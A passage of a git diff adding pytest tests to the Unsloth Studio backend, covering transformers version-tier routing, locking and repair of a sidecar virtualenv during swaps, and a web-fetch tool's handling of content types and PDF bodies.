+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.13.1")
+        monkeypatch.setattr(tv, "_remote_lora_base", lambda name, hf_token = None: "Zyphra/ZAYA1-8B")
+        tiers = {"Zyphra/ZAYA1-8B": "latest"}
+        monkeypatch.setattr(
+            tv, "get_transformers_tier", lambda name, *a, **k: tiers.get(name, "default")
+        )
+        assert tv.latest_tier_active_for("someuser/zaya-lora") is True
+
+    def test_local_checkpoint_config_upgrades(self, monkeypatch, tmp_path):
+        """An adapter dir with its own config.json merges tiers like activation does."""
+        import utils.transformers_version as tv
+
+        adapter = tmp_path / "ckpt"
+        adapter.mkdir()
+        (adapter / "adapter_config.json").write_text("{}")
+        (adapter / "adapter_model.safetensors").write_text("x")
+        (adapter / "config.json").write_text("{}")
+        self._pin(monkeypatch, tv)
+        monkeypatch.setattr(tv, "_resolve_base_model", lambda name: "base/model")
+        tiers = {"base/model": "default", str(adapter): "latest"}
+        monkeypatch.setattr(
+            tv, "get_transformers_tier", lambda name, *a, **k: tiers.get(name, "default")
+        )
+        assert tv.latest_tier_active_for(str(adapter)) is True
+
+
+class TestLatestTierForces16Bit:
+    """The inference worker and load route refuse bnb 4-bit on the latest sidecar."""
+
+    def _read(self, rel):
+        backend_dir = Path(__file__).resolve().parent.parent
+        return (backend_dir / rel).read_text()
+
+    def test_worker_guard_present(self):
+        src = self._read("core/inference/worker.py")
+        assert "latest_tier_active_for" in src, (
+            "core/inference/worker.py must force load_in_4bit=False when "
+            "latest_tier_active_for(model) is true: transformers' grouped-MoE "
+            "kernels crash on bnb-quantized expert weights for brand-new "
+            "architectures."
+        )
+
+    def test_route_guard_present(self):
+        src = self._read("routes/inference.py")
+        assert "latest_tier_active_for" in src, (
+            "routes/inference.py must size the VRAM guard with the same 16-bit "
+            "flip the worker applies for latest-sidecar models."
+        )
+
+    def test_validate_route_mirrors_16bit_flip(self):
+        # Without the same flip, /validate sizes 4-bit and /load then 409s.
+        src = self._read("routes/inference.py")
+        body = src.split("async def validate_model", 1)[1].split("\nasync def ", 1)[0]
+        assert "latest_tier_active_for" in body, (
+            "validate_model must apply the latest-sidecar 16-bit flip before "
+            "_guard_chat_load_against_training so /validate and /load agree."
+        )
+        # First-time loads have no pin yet, so an installable upgrade must also size 16-bit.
+        assert body.index("check_upgrade_for_model") < body.index(
+            "_guard_chat_load_against_training"
+        ), "the upgrade check must run before the training guard"
+        assert (
+            "supported_in_pypi" in body.split("_guard_chat_load_against_training")[0]
+        ), "an installable upgrade must force 16-bit sizing for the guard"
+
+    def test_validate_offered_upgrade_preserves_custom_code_4bit(self):
+        # A merely-offered (not installed) upgrade must NOT force 16-bit sizing when the
+        # model has a custom-code (auto_map) fallback: /load loads it 4-bit without the
+        # install, and the install route refuses during active training, so 16-bit sizing
+        # here would 409 the only viable 4-bit path.
+        src = self._read("routes/inference.py")
+        body = src.split("async def validate_model", 1)[1].split("\nasync def ", 1)[0]
+        flip = body.split("Mirror /load's latest-sidecar 16-bit flip", 1)[1].split(
+            "_guard_chat_load_against_training", 1
+        )[0]
+        assert "not requires_trust_remote_code" in flip, (
+            "the offered-upgrade 16-bit flip must be gated on the absence of a custom-code "
+            "fallback so /validate does not 409 a 4-bit load /load would allow"
+        )
+        # requires_trust_remote_code must be resolved before the flip consumes it.
+        assert body.index("requires_trust_remote_code = any(") < body.index(
+            "not requires_trust_remote_code"
+        )
+
+    def test_install_route_guards_active_latest_workers(self):
+        # Stage-and-swap replaces .venv_t5_latest in place, so a live worker on the
+        # old sidecar would lazy-import files from the new version.
+        src = self._read("routes/inference.py")
+        body = src.split("async def install_latest_transformers_route", 1)[1].split(
+            "\nasync def ", 1
+        )[0]
+        assert (
+            "is_training_active" in body
+            and "is_export_active" in body
+            and "inference_lifecycle_gate" in body
+        ), (
+            "install_latest_transformers_route must refuse while training or export "
+            "runs, and hold the lifecycle gate while unloading the chat model and "
+            "swapping the sidecar."
+        )
+        # The unload (via before_swap so failed installs keep the model), the export-worker
+        # teardown, and the install must all sit INSIDE the gate so no /load interleaves.
+        assert "unload_model(active)" in body
+        assert "cleanup_memory()" in body
+        # Export teardown precedes the chat unload so its failure aborts with the model still loaded.
+        assert body.index("cleanup_memory()") < body.index("unload_model(active)")
+        assert "install_latest_transformers(" in body and "_unload_before_swap" in body
+        # The gate must be owned by the shielded task, not the request coroutine: a cancelled
+        # POST unwinding an async-with would release the only guard /load honors mid-install.
+        gated_task = body.split("async def _gated_install", 1)[1]
+        assert "inference_lifecycle_gate():" in gated_task
+        assert "asyncio.to_thread(_run_install)" in gated_task
+        # The reservation must be taken BEFORE the (awaitable) gate wait, or a
+        # training/export start could slip in while this request queues on the gate.
+        assert body.index("try_begin_sidecar_swap()") < body.index(
+            "inference_lifecycle_gate():"
+        ), "the swap reservation must be raised before waiting on the lifecycle gate"
+        # A failed teardown must abort the swap (raise), not fall through to it.
+        assert body.count("raise RuntimeError") >= 3, (
+            "export, chat-unload, and idle-worker teardown failures must raise so "
+            "the staged install never swaps under a live worker"
+        )
+        # The installer thread owns (and releases) the reservation, shielded from
+        # request cancellation, so a cancelled POST cannot unlock a live swap.
+        assert "asyncio.shield" in body and "end_sidecar_swap()" in body
+        # In-flight generation streams predate the gate; the route refuses rather than kill them
+        # via the before_swap unload. The count is rechecked UNDER the gate, since a wait on a
+        # long /load outlasts the pre-gate fast path and streams take this same gate.
+        assert "other_inference_request_count" in body
+        gated_task = body.split("async def _gated_install", 1)[1]
+        assert "other_inference_request_count" in gated_task
+
+    def test_start_routes_refuse_during_install(self):
+        # A worker spawned mid-swap could activate a half-replaced sidecar.
+        training = self._read("routes/training.py")
+        start = training.split("async def start_training", 1)[1].split("\nasync def ", 1)[0]
+        assert (
+            "is_install_in_progress" in start
+        ), "training /start must refuse while a transformers install is in progress"
+        export = self._read("routes/export.py")
+        helper = export.split("def _ensure_export_supported", 1)[1].split("\ndef ", 1)[0]
+        assert (
+            "is_install_in_progress" in helper
+        ), "mutating export routes must refuse while a transformers install is in progress"
+
+    def test_spawn_sites_recheck_reservation(self):
+        # The route-level guards are one-shot; validation between them and the
+        # actual spawn can outlast an install's start, so the spawn itself rechecks.
+        training = self._read("core/training/training.py")
+        assert (
+            training.count("sidecar_swap_in_progress()") >= 2
+        ), "both training spawn sites must recheck the sidecar swap reservation"
+        export = self._read("core/export/orchestrator.py")
+        spawn = export.split("def _spawn_subprocess", 1)[1].split("\n    def ", 1)[0]
+        assert (
+            "sidecar_swap_kind()" in spawn
+        ), "the export subprocess spawn must recheck the sidecar swap reservation"
+        # Training marks the spawn active BEFORE its recheck, so either side sees the other:
+        # is_training_active covers the window between proc.start() and the _proc assignment.
+        assert training.index("self._spawn_in_progress = True") < training.index(
+            "if sidecar_swap_in_progress():"
+        )
+        active = training.split("def is_training_active", 1)[1].split("\n    def ", 1)[0]
+        assert "_spawn_in_progress" in active
+        # Export load-checkpoint refuses BEFORE tearing down the old worker, so a
+        # lost race against an install keeps the loaded checkpoint (no bare 500).
+        loadck = export.split("def load_checkpoint", 1)[1].split("\n    def ", 1)[0]
+        assert loadck.index("sidecar_swap_in_progress()") < loadck.index("_shutdown_subprocess()")
+        # The training handshake precedes the VRAM-freeing before_spawn hook, so
+        # losing the race never tears down chat/export for a run that won't spawn.
+        assert training.index("self._spawn_in_progress = True") < training.index("before_spawn()")
+        # The spawn-time export check is op-aware for installs (the install side
+        # aborts on is_export_active) but always refuses for repairs, which have
+        # no such abort and can be rebuilding the sidecar right now.
+        assert (
+            '_swap_kind == "repair" or (_swap_kind is not None and not self._export_active)'
+            in spawn
+        )
+
+
+class TestSidecarSwapReservation:
+    """The lazy repair takes the same reservation the install route and worker starts use."""
+
+    def _repair_setup(self, monkeypatch, tmp_path):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        monkeypatch.setattr(
+            tv,
+            "_latest_pin_data",
+            lambda: {
+                "version": "5.99.0",
+                "packages": ["transformers==5.99.0"],
+            },
+        )
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda d, p: False)
+        monkeypatch.setattr(tv, "_env_offline", lambda: False)
+        return tv
+
+    def test_repair_holds_reservation_during_swap(self, monkeypatch, tmp_path):
+        tv = self._repair_setup(monkeypatch, tmp_path)
+        seen = {}
+
+        def _fake_swap(
+            version,
+            packages,
+            before_swap = None,
+        ):
+            seen["active_during_swap"] = tv.sidecar_swap_in_progress()
+            return True
+
+        monkeypatch.setattr(tv, "_stage_and_swap_latest_venv", _fake_swap)
+        assert tv._ensure_venv_t5_latest_exists() is True
+        assert seen["active_during_swap"] is True
+        assert tv.sidecar_swap_in_progress() is False
+
+    def test_foreign_process_lock_file_visible(self, monkeypatch, tmp_path):
+        """A repair in a LIVE worker subprocess is seen (via the lock file) by this
+        process, and its lock is never broken while the owner is alive."""
+        import os
+        import time
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        lock = tv._swap_lock_path()
+        lock.parent.mkdir(parents = True, exist_ok = True)
+        # A live owner (this process): visible and never reclaimed, even once aged past
+        # the cutoff -- a slow but live pip install must keep its lock.
+        lock.write_text('{"pid": %d}' % os.getpid())
+        assert tv.sidecar_swap_in_progress() is True
+        assert tv.try_begin_sidecar_swap() is False
+        old_ts = time.time() - 3 * 60 * 60
+        os.utime(lock, (old_ts, old_ts))
+        assert tv.sidecar_swap_in_progress() is True
+        assert tv.try_begin_sidecar_swap() is False
+
+    def test_dead_owner_lock_reclaimed_promptly(self, monkeypatch, tmp_path):
+        """A fresh lock whose recorded owner is dead is reclaimed at once, not after the
+        long cutoff: a crash mid-install must not wedge loads/training/export for hours."""
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        lock = tv._swap_lock_path()
+        lock.parent.mkdir(parents = True, exist_ok = True)
+        # 999999 is not a live PID: a fresh dead-owner lock is immediately stale.
+        lock.write_text('{"pid": 999999, "kind": "install"}')
+        assert tv._pid_alive(999999) is False
+        assert tv.sidecar_swap_in_progress() is False
+        assert tv.try_begin_sidecar_swap() is True
+        try:
+            assert lock.is_file()
+        finally:
+            tv.end_sidecar_swap()
+        assert not lock.exists()
+
+    def test_unreadable_pid_lock_uses_age_cutoff(self, monkeypatch, tmp_path):
+        """A lock with no readable owner PID (mid create-before-write, or corrupt) is not
+        reclaimed while fresh -- only after the long cutoff -- so a lock a live owner just
+        created is not stolen before its PID lands."""
+        import os
+        import time
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        lock = tv._swap_lock_path()
+        lock.parent.mkdir(parents = True, exist_ok = True)
+        lock.write_text("")  # created but metadata not yet written
+        assert tv.sidecar_swap_in_progress() is True
+        old_ts = time.time() - (tv._SWAP_LOCK_STALE_SECS + 60)
+        os.utime(lock, (old_ts, old_ts))
+        assert tv.sidecar_swap_in_progress() is False
+
+    def test_repair_refused_while_install_holds_reservation(self, monkeypatch, tmp_path):
+        tv = self._repair_setup(monkeypatch, tmp_path)
+
+        def _must_not_run(*a, **k):
+            raise AssertionError("repair must not swap while an install is in progress")
+
+        monkeypatch.setattr(tv, "_stage_and_swap_latest_venv", _must_not_run)
+        assert tv.try_begin_sidecar_swap() is True
+        try:
+            assert tv._ensure_venv_t5_latest_exists() is False
+        finally:
+            tv.end_sidecar_swap()
+
+
+class TestRecoverStrandedSidecar:
+    """A swap whose activation rename AND rollback both fail strands the previous sidecar
+    at .old with no live dir (its pin marker went with it). Reading the pin self-heals it,
+    but never while a swap legitimately holds the reservation."""
+
+    def _setup(self, monkeypatch, tmp_path):
+        import utils.transformers_version as tv
+
+        live = str(tmp_path / "venv_t5_latest")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", live)
+        # Stranded state: live gone, previous sidecar (with its marker) sits at .old.
+        retired = Path(live + ".old")
+        retired.mkdir(parents = True)
+        (retired / tv._LATEST_PIN_MARKER).write_text(
+            '{"version": "5.99.0", "packages": ["transformers==5.99.0"]}'
+        )
+        return tv, Path(live), retired
+
+    def test_stranded_old_recovered_on_pin_read(self, monkeypatch, tmp_path):
+        tv, live, retired = self._setup(monkeypatch, tmp_path)
+        data = tv._latest_pin_data()
+        assert live.is_dir()
+        assert not retired.exists()
+        assert data is not None and data["version"] == "5.99.0"
+
+    def test_stranded_recovery_skipped_during_swap(self, monkeypatch, tmp_path):
+        tv, live, retired = self._setup(monkeypatch, tmp_path)
+        assert tv.try_begin_sidecar_swap() is True
+        try:
+            # A swap holds the reservation and may be mid-rename; do not race it.
+            assert tv._latest_pin_data() is None
+            assert not live.exists()
+            assert retired.is_dir()
+        finally:
+            tv.end_sidecar_swap()
+        # Once the swap is done, the next pin read recovers the stranded sidecar.
+        assert tv._latest_pin_data() is not None
+        assert live.is_dir()
+
+
+class TestCachedLatestMappingRevalidated:
+    """A cached 'latest' mapping is dropped and re-resolved when the sidecar since broke
+    in-process, so routing self-heals instead of trusting a mapping parsed from a sidecar
+    that no longer exists (which would keep routing latest-only models to a broken tier)."""
+
+    def test_broken_sidecar_drops_cached_latest_mapping(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})})
+        monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: False)
+        seen = {"n": 0}
+
+        def _fake_overlay(tier):
+            seen["n"] += 1
+            return None  # broken/unavailable -> empty, uncached
+
+        monkeypatch.setattr(tv, "_overlay_transformers_dir", _fake_overlay)
+        assert tv._config_model_types("latest") == frozenset()
+        assert seen["n"] == 1  # re-resolved, not served from the stale cache
+        assert "latest" not in tv._config_mapping_cache
+
+    def test_intact_sidecar_serves_cached_latest_mapping(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})})
+        monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: True)
+        monkeypatch.setattr(
+            tv,
+            "_overlay_transformers_dir",
+            lambda tier: pytest.fail("intact sidecar must serve the cache without re-resolving"),
+        )
+        assert tv._config_model_types("latest") == frozenset({"brandnew"})
+
+    def test_non_latest_cache_not_revalidated(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"530": frozenset({"gemma3"})})
+        monkeypatch.setattr(
+            tv,
+            "_latest_sidecar_intact",
+            lambda: pytest.fail("non-latest tiers must not pay the sidecar-intact check"),
+        )
+        assert tv._config_model_types("530") == frozenset({"gemma3"})
+
+    def test_deleted_pin_drops_cached_latest_mapping(self, monkeypatch, tmp_path):
+        # A pin marker deleted after the mapping was cached makes _latest_pin_data None;
+        # the cache must be dropped (not trusted), so routing re-resolves to no latest tier
+        # rather than routing to a latest tier that then fails worker activation.
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        monkeypatch.setattr(tv, "_latest_tier_disabled", lambda: False)
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})})
+        # No pin marker on disk -> _latest_pin_data() is None -> not intact.
+        assert tv._latest_sidecar_intact() is False
+        assert tv._config_model_types("latest") == frozenset()
+        assert "latest" not in tv._config_mapping_cache
+
+
+class TestOverlayRepairsIncompleteSidecar:
+    """Routing self-heals a pinned latest sidecar that is present but incomplete,
+    not only one whose transformers/ dir vanished: workers refuse parent-only
+    repairs, so a sidecar missing a pinned package would fail every load."""
+
+    def _setup(self, monkeypatch, tmp_path, valid):
+        import utils.transformers_version as tv
+
+        live = tmp_path / "venv_t5_latest"
+        (live / "transformers").mkdir(parents = True)
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(live))
+        monkeypatch.setattr(tv, "_latest_tier_disabled", lambda: False)
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.99.0")
+        monkeypatch.setattr(
+            tv,
+            "_latest_pin_data",
+            lambda: {"version": "5.99.0", "packages": ["transformers==5.99.0", "tiktoken"]},
+        )
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda d, p: valid)
+        monkeypatch.setattr(tv, "_latest_repair_failed_at", 0.0)
+        return tv
+
+    def test_incomplete_sidecar_triggers_repair(self, monkeypatch, tmp_path):
+        tv = self._setup(monkeypatch, tmp_path, valid = False)
+        called = {"n": 0}
+
+        def _fake_repair():
+            called["n"] += 1
+            return True
+
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", _fake_repair)
+        src = tv._overlay_transformers_dir("latest")
+        assert called["n"] == 1
+        assert src == str(tmp_path / "venv_t5_latest" / "transformers")
+
+    def test_intact_sidecar_skips_repair(self, monkeypatch, tmp_path):
+        tv = self._setup(monkeypatch, tmp_path, valid = True)
+
+        def _must_not_run():
+            raise AssertionError("intact sidecar must not trigger a repair")
+
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", _must_not_run)
+        assert tv._overlay_transformers_dir("latest") == str(
+            tmp_path / "venv_t5_latest" / "transformers"
+        )
+
+    def test_failed_repair_backs_off(self, monkeypatch, tmp_path):
+        tv = self._setup(monkeypatch, tmp_path, valid = False)
+        called = {"n": 0}
+
+        def _fake_repair():
+            called["n"] += 1
+            return False
+
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", _fake_repair)
+        # A failed repair must not route through the broken sidecar, neither on
+        # the failing attempt nor while the backoff suppresses the next attempt.
+        assert tv._overlay_transformers_dir("latest") is None
+        assert tv._overlay_transformers_dir("latest") is None
+        assert called["n"] == 1
+
+
+class TestStageAndSwapBeforeSwap:
+    """before_swap fires only when the staged install succeeded and the swap is next."""
+
+    def _setup(self, monkeypatch, tmp_path, build_ok):
+        import utils.transformers_version as tv
+
+        live = tmp_path / "venv_latest"
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(live))
+
+        def _fake_build(target, packages, label):
+            if build_ok:
+                Path(target).mkdir(parents = True, exist_ok = True)
+            return build_ok
+
+        monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_build)
+        return tv, live
+
+    def test_called_after_successful_staging(self, monkeypatch, tmp_path):
+        tv, live = self._setup(monkeypatch, tmp_path, build_ok = True)
+        calls = []
+        assert tv._stage_and_swap_latest_venv(
+            "5.99.0", ("transformers==5.99.0",), before_swap = lambda: calls.append(1)
+        )
+        assert calls == [1] and live.is_dir()
+
+    def test_not_called_when_staging_fails(self, monkeypatch, tmp_path):
+        tv, live = self._setup(monkeypatch, tmp_path, build_ok = False)
+        calls = []
+        assert not tv._stage_and_swap_latest_venv(
+            "5.99.0", ("transformers==5.99.0",), before_swap = lambda: calls.append(1)
+        )
+        assert calls == [] and not live.exists()
+
+    def test_failure_in_before_swap_keeps_previous_sidecar(self, monkeypatch, tmp_path):
+        tv, live = self._setup(monkeypatch, tmp_path, build_ok = True)
+        live.mkdir()
+        (live / "sentinel").write_text("old")
+
+        def _boom():
+            raise RuntimeError("worker teardown failed")
+
+        assert not tv._stage_and_swap_latest_venv(
+            "5.99.0", ("transformers==5.99.0",), before_swap = _boom
+        )
+        assert (live / "sentinel").read_text() == "old"
+
+
+class TestKillSwitchBeatsMappingCache:
+    def test_cached_latest_probe_ignored_when_disabled(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        key = tv._probe_cache_key("some/model")
+        monkeypatch.setitem(tv._probe_tier_cache, key, "latest")
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        # With the switch set, the cached latest entry must not short-circuit;
+        # the probe re-resolves against the non-latest order (stub it to 530).
+        monkeypatch.setattr(tv, "_probe_tier_venvs", lambda: {})
+        monkeypatch.setattr(tv, "_probe_tier_order", lambda: ())
+        assert tv._probe_tier("some/model", None, "test") != "latest"
+        # Cached non-latest entries and the unset switch still short-circuit.
+        monkeypatch.delenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS")
+        assert tv._probe_tier("some/model", None, "test") == "latest"
+
+    def test_cached_latest_mapping_ignored_when_disabled(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setitem(tv._config_mapping_cache, "latest", frozenset({"brandnew"}))
+        # The cache is trusted only when the sidecar is intact; hold it intact so this
+        # test isolates the kill switch, not the sidecar-revalidation path.
+        monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: True)
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        assert tv._config_model_types("latest") == frozenset()
+        monkeypatch.delenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS")
+        assert tv._config_model_types("latest") == frozenset({"brandnew"})
+
+
+class TestRaiseTierForNested:
+    """_raise_tier_for_nested: a wrapper's nested model_type can raise a fast-path tier."""
+
+    def _patch_types(self, monkeypatch, per_tier):
+        import utils.transformers_version as tv
+        monkeypatch.setattr(
+            tv, "_config_model_types", lambda tier: frozenset(per_tier.get(tier, ()))
+        )
+
+    def test_nested_latest_only_type_raises(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}})
+        cfg = {"model_type": "gemma4", "text_config": {"model_type": "brandnew_arch"}}
+        assert tv._raise_tier_for_nested(cfg, "550") == "latest"
+
+    def test_never_lowers_a_fast_path_tier(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        # Mapping alone would say 530, but the fast path (e.g. a name override) said 550.
+        self._patch_types(monkeypatch, {"530": {"qwen3_5"}, "550": {"qwen3_5"}})
+        assert tv._raise_tier_for_nested({"model_type": "qwen3_5"}, "550") == "550"
+
+    def test_no_config_keeps_tier(self):
+        import utils.transformers_version as tv
+        assert tv._raise_tier_for_nested(None, "550") == "550"
+
+    def test_unknown_nested_type_never_vetoes(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        # A nested type unknown everywhere (not even latest) keeps the fast path.
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4"}})
+        cfg = {"model_type": "gemma4", "text_config": {"model_type": "unreleased"}}
+        assert tv._raise_tier_for_nested(cfg, "550") == "550"
+
+    def test_name_fast_path_folds_when_latest_pinned(self, monkeypatch):
+        """A fixed-tier name match with a latest-only model_type routes to latest
+        once the sidecar is pinned; without a pin the name tier stands (no I/O)."""
+        import utils.transformers_version as tv
+
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"brandnew_arch"}})
+        monkeypatch.setattr(tv, "_tier_from_name", lambda name: ("550", "gemma-4"))
+        monkeypatch.setattr(
+            tv, "_load_config_json", lambda name, tok = None: {"model_type": "brandnew_arch"}
+        )
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.99.0")
+        assert tv.get_transformers_tier("org/gemma-4-new", probe = False) == "latest"
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: None)
+        monkeypatch.setattr(
+            tv,
+            "_load_config_json",
+            lambda name, tok = None: (_ for _ in ()).throw(AssertionError("no I/O without a pin")),
+        )
+        assert tv.get_transformers_tier("org/gemma-4-new", probe = False) == "550"
+
+    def test_fast_path_folds_nested_tier(self, monkeypatch, tmp_path):
+        """End to end: a local wrapper config on a fixed fast path routes to latest
+        when its nested type only exists in the installed latest sidecar."""
+        import utils.transformers_version as tv
+
+        ckpt = tmp_path / "wrapper"
+        ckpt.mkdir()
+        (ckpt / "config.json").write_text(
+            json.dumps({"model_type": "gemma4", "text_config": {"model_type": "brandnew_arch"}})
+        )
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}})
+        monkeypatch.setattr(tv, "_config_needs_510", lambda cfg: False)
+        monkeypatch.setattr(tv, "_config_needs_550", lambda cfg: True)
+        assert tv.get_transformers_tier(str(ckpt), probe = False) == "latest"
diff --git a/studio/backend/tests/test_web_fetch_binary_guard.py b/studio/backend/tests/test_web_fetch_binary_guard.py
new file mode 100644
index 0000000000..10db953913
--- /dev/null
+++ b/studio/backend/tests/test_web_fetch_binary_guard.py
@@ -0,0 +1,390 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for binary bodies poisoning web_search model context (#7084)."""
+
+from __future__ import annotations
+
+import codecs
+import sys
+from email.message import Message
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference import tools
+
+
+class _FakeResp:
+    def __init__(self, body: bytes, content_type: str | None):
+        self._body = body
+        self._pos = 0
+        self.headers = Message()
+        if content_type is not None:
+            self.headers["Content-Type"] = content_type
+
+    def read(self, n: int | None = None) -> bytes:
+        # Advance a cursor like a real stream so the chunked reader reaches EOF.
+        chunk = self._body[self._pos :] if n is None else self._body[self._pos : self._pos + n]
+        self._pos += len(chunk)
+        return chunk
+
+
+class _FakeOpener:
+    def __init__(self, resp):
+        self._resp = resp
+
+    def open(
+        self,
+        req,
+        timeout = None,
+    ):
+        return self._resp
+
+
+def _fetch_with(monkeypatch, body: bytes, content_type: str | None) -> str:
+    # Pass SSRF validation and skip real DNS/network.
+    monkeypatch.setattr(
+        tools, "_validate_and_resolve_host", lambda host, port: (True, "", "93.184.216.34")
+    )
+    monkeypatch.setattr(
+        tools.urllib.request,
+        "build_opener",
+        lambda *a, **k: _FakeOpener(_FakeResp(body, content_type)),
+    )
+    return tools._fetch_page_text("https://example.com/thing", timeout = 5)
+
+
+def _pdf_bytes(*page_texts: str) -> bytes:
+    pymupdf = pytest.importorskip("pymupdf")
+    doc = pymupdf.open()
+    for text in page_texts:
+        page = doc.new_page()
+        if text:
+            page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), text, fontsize = 11)
+    data = doc.tobytes()
+    doc.close()
+    return data
+
+
+@pytest.mark.parametrize(
+    "content_type,expected",
+    [
+        ("text/html", True),
+        ("text/plain; charset=utf-8", True),
+        ("application/json", True),
+        ("application/json; charset=utf-8", True),
+        ("application/xml", True),
+        ("application/xhtml+xml", True),
+        ("application/ld+json", True),
+        ("application/yaml", True),
+        ("application/x-yaml", True),
+        ("application/x-ndjson", True),
+        ("application/ndjson", True),
+        ("application/sql", True),
+        ("application/x-www-form-urlencoded", True),
+        ("application/pdf", False),
+        ("image/png", False),
+        ("image/svg+xml", False),
+        ("application/octet-stream", True),
+        ("application/zip", False),
+        ("application/vnd.ms-excel", True),
+        ("application/vnd.openxmlformats-officedocument.wordprocessingml.document", True),
+        ("", True),
+        (None, True),
+    ],
+)
+def test_is_text_candidate_content_type(content_type, expected):
+    assert tools._is_text_candidate_content_type(content_type) is expected
+
+
+@pytest.mark.parametrize(
+    "content_type",
+    ["application/pdf", "application/octet-stream", "text/html", "text/plain", None],
+)
+def test_pdf_text_extracted(monkeypatch, content_type):
+    out = _fetch_with(
+        monkeypatch,
+        _pdf_bytes("First page marker", "Second page marker"),
+        content_type,
+    )
+    assert "## Page 1\n\nFirst page marker" in out
+    assert "## Page 2" in out and "Second page marker" in out
+    assert "binary content" not in out and "non-text content" not in out
+
+
+@pytest.mark.parametrize("content_type", ["application/pdf", "text/plain"])
+def test_malformed_pdf_returns_safe_placeholder(monkeypatch, content_type):
+    out = _fetch_with(monkeypatch, b"%PDF-1.7\nnot a complete PDF", content_type)
+    assert out == "(PDF content could not be read as text)"
+
+
+def test_pdf_without_text_layer_reported(monkeypatch):
+    out = _fetch_with(monkeypatch, _pdf_bytes(""), "application/pdf")
+    assert out == "(PDF contains no extractable text)"
+
+
+def test_encrypted_pdf_returns_safe_placeholder(monkeypatch):
+    pymupdf = pytest.importorskip("pymupdf")
+    doc = pymupdf.open()
+    doc.new_page().insert_text((40, 40), "private text")
+    data = doc.tobytes(
+        encryption = pymupdf.PDF_ENCRYPT_AES_256,
+        owner_pw = "owner",
+        user_pw = "secret",
+    )
+    doc.close()
+    out = _fetch_with(monkeypatch, data, "application/pdf")
+    assert out == "(PDF content could not be read as text)"
+
+
+def test_pdf_download_limit_enforced(monkeypatch):
+    monkeypatch.setattr(tools, "_MAX_PDF_FETCH_BYTES", 256)
+    out = _fetch_with(monkeypatch, _pdf_bytes("Readable but oversized"), "application/pdf")
+    assert out == "(PDF content exceeds the download limit; not readable as text)"
+
+
+def test_mislabeled_pdf_is_read_past_text_download_cap(monkeypatch):
+    body = _pdf_bytes("Cross-reference data was fetched")
+    monkeypatch.setattr(tools, "_MAX_FETCH_BYTES", 128)
+    monkeypatch.setattr(tools, "_MAX_PDF_FETCH_BYTES", len(body) + 100)
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "Cross-reference data was fetched" in out
+
+
+def test_pdf_extraction_caps_pages_and_intermediate_text(monkeypatch):
+    from core.rag.parsers import Page
+
+    seen = {}
+
+    def fake_parse(data, *, max_pages = None):
+        seen["max_pages"] = max_pages
+        pages = [Page(text = "x" * 1000, page_number = i, char_count = 1000) for i in range(1, 51)]
+        return pages, 60  # document actually has more pages than the cap
+
+    monkeypatch.setattr("core.rag.parsers.parse_pdf_bytes", fake_parse)
+    text = tools._extract_pdf_text(b"unused")
+    assert seen["max_pages"] == tools._MAX_WEB_PDF_PAGES
+    assert len(text) <= tools._MAX_PAGE_CHARS
+    assert "text limited to 16,000 characters" in text
+    assert "page processing capped at 50 pages" in text
+
+
+def test_pdf_exactly_at_page_cap_not_marked_capped(monkeypatch):
